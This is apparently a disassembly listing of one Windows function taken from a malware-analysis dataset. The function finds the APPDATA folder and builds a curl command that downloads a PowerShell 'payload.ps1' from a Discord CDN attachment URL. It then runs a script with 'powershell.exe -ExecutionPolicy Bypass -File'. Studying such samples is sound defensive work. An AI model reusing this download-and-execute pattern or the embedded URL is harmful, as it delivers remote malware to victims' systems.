Function at 0x1400012f0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xe0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor ebx, ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov qword [rbp - 0x39], rbx
lea r9, [rbp - 0x39]
xor r8d, r8d
xor edx, edx
lea rcx, [0x140003330]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
test eax, eax
js 0x140001372
mov rdx, qword [rbp - 0x39]
lea rcx, [rbp + 0x2f]
call fcn.140001760
mov rcx, qword [rbp - 0x39]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
movups xmm0, xmmword [rbp + 0x2f]
movups xmmword [rbp + 0xf], xmm0
movups xmm1, xmmword [rbp + 0x3f]
movups xmmword [rbp + 0x1f], xmm1
jmp 0x140001383
lea rdx, [0x140003410]
lea rcx, [rbp + 0xf]
call fcn.140001760
nop
cmp qword [rbp + 0x1f], 0
jne 0x1400013b7
lea rdx, str.Failed_to_get_APPDATA_path.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.1400018b0
mov rcx, rax
lea rdx, [0x140001a90]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov ebx, 1
jmp 0x14000167d
lea r8, [rbp + 0xf]
lea rdx, str.curl__https:__cdn.discordapp.com_attachments_1296268065721417799_1296271468413321278_payload.ps1_ex6711ae61is67105ce1hm6ca1c7cccb10a3a01092ca38aa95b7413d7ae8217f1b67c3629cf393f7cfa277____output__
lea rcx, [rbp - 0x59]
call fcn.140001ad0
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 8
jb 0x140001413
lea r14, [rcx + 8]
mov qword [rdi + 0x10], r14
mov rsi, rdi
cmp rdx, 7
jbe 0x1400013f6
mov rsi, qword [rdi]
lea rcx, [rsi + rcx*2]
mov r8d, 0x10
lea rdx, str._rr.ps1_
call sub.VCRUNTIME140.dll_memmove
mov word [rsi + r14*2], bx
jmp 0x140001433
mov qword [rsp + 0x20], 8
lea r9, str._rr.ps1_
mov edx, 8
mov rcx, rdi
call fcn.140001c50
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 1], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x11], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 1], xmm1
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 7
mov word [rdi], bx
mov rdx, qword [rbp - 0x41]
cmp rdx, 7
jbe 0x1400014a3
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x59]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000149e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000149e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020cc
movdqa xmm0, xmmword [0x1400036c0]
movdqu xmmword [rbp - 0x49], xmm0
mov word [rbp - 0x59], bx
lea rcx, [rbp - 0x11]
call fcn.1400011c0
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea r8, [rbp + 0xf]
lea rdx, str.powershell.exe__ExecutionPolicy_Bypass__File__
lea rcx, [rbp + 0x2f]
call fcn.140001ad0
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0xc
jb 0x140001524
lea r14, [rcx + 0xc]
mov qword [rdi + 0x10], r14
mov rsi, rdi
cmp rdx, 7
jbe 0x140001507
mov rsi, qword [rdi]
lea rcx, [rsi + rcx*2]
mov r8d, 0x18
lea rdx, str._script.ps1_
call sub.VCRUNTIME140.dll_memmove
mov word [rsi + r14*2], bx
jmp 0x140001544
mov qword [rsp + 0x20], 0xc
lea r9, str._script.ps1_
mov edx, 0xc
mov rcx, rdi
call fcn.140001c50
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x31], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x21], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x31], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 0x21], xmm1
mov qword [rdi + 0x10], rbx
mov qword [rdi + 0x18], 7
mov word [rdi], bx
mov rdx, qword [rbp + 0x47]
cmp rdx, 7
jbe 0x1400015b4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015af
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015af
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020cc
movdqa xmm0, xmmword [0x1400036c0]
movdqu xmmword [rbp + 0x3f], xmm0
mov word [rbp + 0x2f], bx
lea rcx, [rbp - 0x31]
call fcn.1400011c0
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
mov rdx, qword [rbp - 0x19]
cmp rdx, 7
jbe 0x140001618
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x31]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001613
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001613
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020cc
movdqa xmm0, xmmword [0x1400036c0]
movdqu xmmword [rbp - 0x21], xmm0
mov word [rbp - 0x31], bx
mov rdx, qword [rbp + 7]
cmp rdx, 7
jbe 0x14000166c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001667
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001667
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020cc
movdqa xmm0, xmmword [0x1400036c0]
movdqu xmmword [rbp - 1], xmm0
mov word [rbp - 0x11], bx
mov rdx, qword [rbp + 0x27]
cmp rdx, 7
jbe 0x1400016c0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400016bb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400016bb
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400020cc
mov eax, ebx
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140002070
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret